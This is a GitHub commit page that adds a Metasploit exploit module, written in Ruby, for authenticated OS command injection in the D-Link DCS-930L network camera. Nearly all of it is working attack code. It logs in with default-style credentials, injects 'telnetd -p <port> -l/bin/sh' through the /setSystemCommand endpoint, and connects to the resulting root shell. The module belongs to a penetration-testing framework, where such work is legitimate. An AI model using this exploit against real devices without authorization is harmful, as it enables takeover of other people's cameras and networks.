Skip to content

Commit c590fdd

Browse files
author
Brent Cook
committed
Land rapid7#6501, Added Dlink DCS Authenticated RCE Module
2 parents 5f0add2 + d51be6e commit c590fdd

File tree

1 file changed

+158
-0
lines changed

1 file changed

+158
-0
lines changed
Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
##
2+
## This module requires Metasploit: http://metasploit.com/download
3+
## Current source: https://github.com/rapid7/metasploit-framework
4+
###
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
10+
include Msf::Exploit::Remote::Telnet
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'D-Link DCS-930L Authenticated Remote Command Execution',
16+
'Description' => %q{
17+
The D-Link DCS-930L Network Video Camera is vulnerable
18+
to OS Command Injection via the web interface. The vulnerability
19+
exists at /setSystemCommand, which is accessible with credentials.
20+
This vulnerability was present in firmware version 2.01 and fixed
21+
by 2.12.
22+
},
23+
'Author' =>
24+
[
25+
'Nicholas Starke <[email protected]>'
26+
],
27+
'License' => MSF_LICENSE,
28+
'DisclosureDate' => 'Dec 20 2015',
29+
'Privileged' => true,
30+
'Platform' => 'unix',
31+
'Arch' => ARCH_CMD,
32+
'Payload' =>
33+
{
34+
'Compat' => {
35+
'PayloadType' => 'cmd_interact',
36+
'ConnectionType' => 'find',
37+
},
38+
},
39+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
40+
'Targets' =>
41+
[
42+
[ 'Automatic', { } ],
43+
],
44+
'DefaultTarget' => 0
45+
))
46+
47+
register_options(
48+
[
49+
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
50+
OptString.new('PASSWORD', [ false, 'Password to login with', ''])
51+
], self.class)
52+
53+
register_advanced_options(
54+
[
55+
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),
56+
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
57+
], self.class)
58+
end
59+
60+
def telnet_timeout
61+
(datastore['TelnetTimeout'] || 10)
62+
end
63+
64+
def banner_timeout
65+
(datastore['TelnetBannerTimeout'] || 25)
66+
end
67+
68+
def exploit
69+
user = datastore['USERNAME']
70+
pass = datastore['PASSWORD'] || ''
71+
72+
test_login(user, pass)
73+
exploit_telnet
74+
end
75+
76+
def test_login(user, pass)
77+
print_status("#{peer} - Trying to login with #{user} : #{pass}")
78+
79+
res = send_request_cgi({
80+
'uri' => '/',
81+
'method' => 'GET',
82+
'authorization' => basic_auth(user, pass)
83+
})
84+
85+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
86+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200
87+
88+
print_good("#{peer} - Successful login #{user} : #{pass}")
89+
end
90+
91+
def exploit_telnet
92+
telnet_port = rand(32767) + 32768
93+
94+
print_status("#{peer} - Telnet Port: #{telnet_port}")
95+
96+
cmd = "telnetd -p #{telnet_port} -l/bin/sh"
97+
98+
telnet_request(cmd)
99+
100+
print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...")
101+
ctx = { 'Msf' => framework, 'MsfExploit' => self }
102+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })
103+
104+
if sock.nil?
105+
fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable")
106+
end
107+
108+
add_socket(sock)
109+
110+
print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...")
111+
prompt = negotiate_telnet(sock)
112+
113+
if prompt.nil?
114+
sock.close
115+
fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session")
116+
else
117+
print_good("#{rhost}:#{telnet_port} - Telnet session successfully established")
118+
end
119+
120+
handler(sock)
121+
end
122+
123+
def telnet_request(cmd)
124+
uri = '/setSystemCommand'
125+
126+
begin
127+
res = send_request_cgi({
128+
'uri' => uri,
129+
'method' => 'POST',
130+
'vars_post' => {
131+
'ReplySuccessPage' => 'docmd.htm',
132+
'ReplyErrorPage' => 'docmd.htm',
133+
'SystemCommand' => cmd,
134+
'ConfigSystemCommand' => 'Save'
135+
}
136+
})
137+
return res
138+
rescue ::Rex::ConnectionError
139+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
140+
end
141+
end
142+
143+
def negotiate_telnet(sock)
144+
begin
145+
Timeout.timeout(banner_timeout) do
146+
while(true)
147+
data = sock.get_once(-1, telnet_timeout)
148+
return nil if not data or data.length == 0
149+
if data =~ /BusyBox/
150+
return true
151+
end
152+
end
153+
end
154+
rescue ::Timeout::Error
155+
return nil
156+
end
157+
end
158+
end

0 commit comments

Comments
 (0)